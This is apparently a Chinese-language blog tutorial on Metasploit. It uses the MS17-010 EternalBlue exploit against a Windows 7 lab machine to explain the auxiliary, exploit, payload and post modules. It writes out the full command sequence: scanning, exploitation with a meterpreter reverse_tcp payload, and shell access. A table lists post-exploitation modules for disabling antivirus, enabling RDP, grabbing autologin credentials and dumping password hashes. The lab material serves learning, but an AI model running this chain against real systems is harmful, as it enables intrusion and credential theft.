我之前写了一篇利用 MSF 里的永恒之蓝模块进行攻击初代 Windows10 还有木马制造.
现在看来只是写了简单的 exploit 使用,并没有开拓 msf 其他模块强大的地方.
Auxiliary 是什么?
Payload 、Post 又是什么?
这几者之间又有什么关联?
我当时在自学 msf 的时候,往往注重结果,而没注重过程.
我也许该重新了解一下这个 MSF 了,就用之前写的 MS17-010 重新盘一遍进行理解
准备工作:
攻击机: Kali Linux (IP:192.168.31.201,宿主机IP:192.168.31.30)
肉鸡: Windows 7 pro (IP:192.168.31.204,宿主机IP:192.168.31.30)
1. 肉机扫描
在这里就要用到 Auxiliary 模块
这个模块是辅助模块,可以用来扫描,破解,嗅探,漏洞挖掘等,在这里我将使用 Auxiliary 模块进行 ms17-010 扫描.
在开始之前,我们先用 nmap 扫描一下局域网内能连通那些机器(假装不知道IP)
nmap -sS -T4 192.168.31.0/24
叨叨念
其实可以试着用 nmap 里面的 vuln 脚本试一下
nmap --script=vuln 192.168.31.204
找到了肉鸡,发现开放了 445 端口
然后我们找到了肉鸡的 IP , 接下来进入 msf 进行搜索 msf17-010 可以用那些模块
search ms17-010
然后利用 Auxiliary 模块进行检测
use auxiliary/scanner/smb/smb_ms17_010
显示要修改的东西
show options
改为肉鸡 IP
set RHOSTS 192.168.31.204
接下来运行
run
可以发现是可以攻击的
2. Exploits 渗透
Exploits 里面主要是包含了各种漏洞利用的脚本,exp的文件路径方式也是否好理解 是exploit/系统/服务/服务漏洞模块 就拿 ms17-010 来看
exploit/windows/smb/ms17_010_eternalblue
一个个对应上去不是非常好理解呢?
这时候我们要使用这个模块
use exploit/windows/smb/ms17_010_eternalblue
3. Payload 攻击载荷
这和 Exploits 有何区别呢?
可以这么理解:在一个攻城战里, Exploit 是攻头兵,负责攻入工作,而 Payload 是善后兵,负责在攻入后,进行接下来的操作.
其命名规则为:系统/类型/名称,比如 windows/x64/meterpreter/reverse_tcp
所以我们要设定 payload
set payload windows/x64/meterpreter/reverse_tcp
然后直接 run 执行即可
run
好了,我们成功渗入
你认为我就这么结束了吗?
别忘了我还有个 Post 模块还没有讲
4. Post 后渗入模块
一般是在建立连接后,采取一些功能性的指令,比方说:提权,获取信息等
比方说虚拟机检测
run post/windows/gather/checkvm
也可以直接运行 shell
shell
常用的 Post 模块
Post 模块指令 | 作用 |
---|---|
run post/windows/manage/migrate | 自动进程迁移 |
run post/windows/gather/checkvm | 查看目标主机是否运行在虚拟机上 |
run post/windows/manage/killav | 关闭杀毒软件 |
run post/windows/manage/enable_rdp | 开启远程桌面服务 |
run post/windows/manage/autoroute | 查看路由信息 |
run post/windows/gather/enum_logged_on_users | 列举当前登录的用户 |
run post/windows/gather/enum_applications | 列举应用程序 |
run post/windows/gather/credentials/windows_autologin | 抓取自动登录的用户名和密码 |
run post/windows/gather/smart_hashdump | dump出所有用户的hash |
除了 Post 模块也可以用更多的功能,有的 Linux 指令也可以用的上,比方说:
- cd
- pwd
- cat
- ls
- …
也可以使用上传文件 upload 指令,也可以是下载 download 指令.
当 payload 成功渗入后,可以用的玩法确实非常的多.可以使用搜索引擎去找更多.
写后记
在一开始中,我选择的是 Windows 10初代系统,正如我之前写的MS17_010实践要低权限的用户名和密码,同时还得开放一个文件夹.
然后选择了 Windows 8.1 , 和 Windows 10 也是一样的.
最后选择了 Windows 7 ,则不需要低权限用户名和密码.
不知道是什么情况,搜原因无果.抽空再了解了解.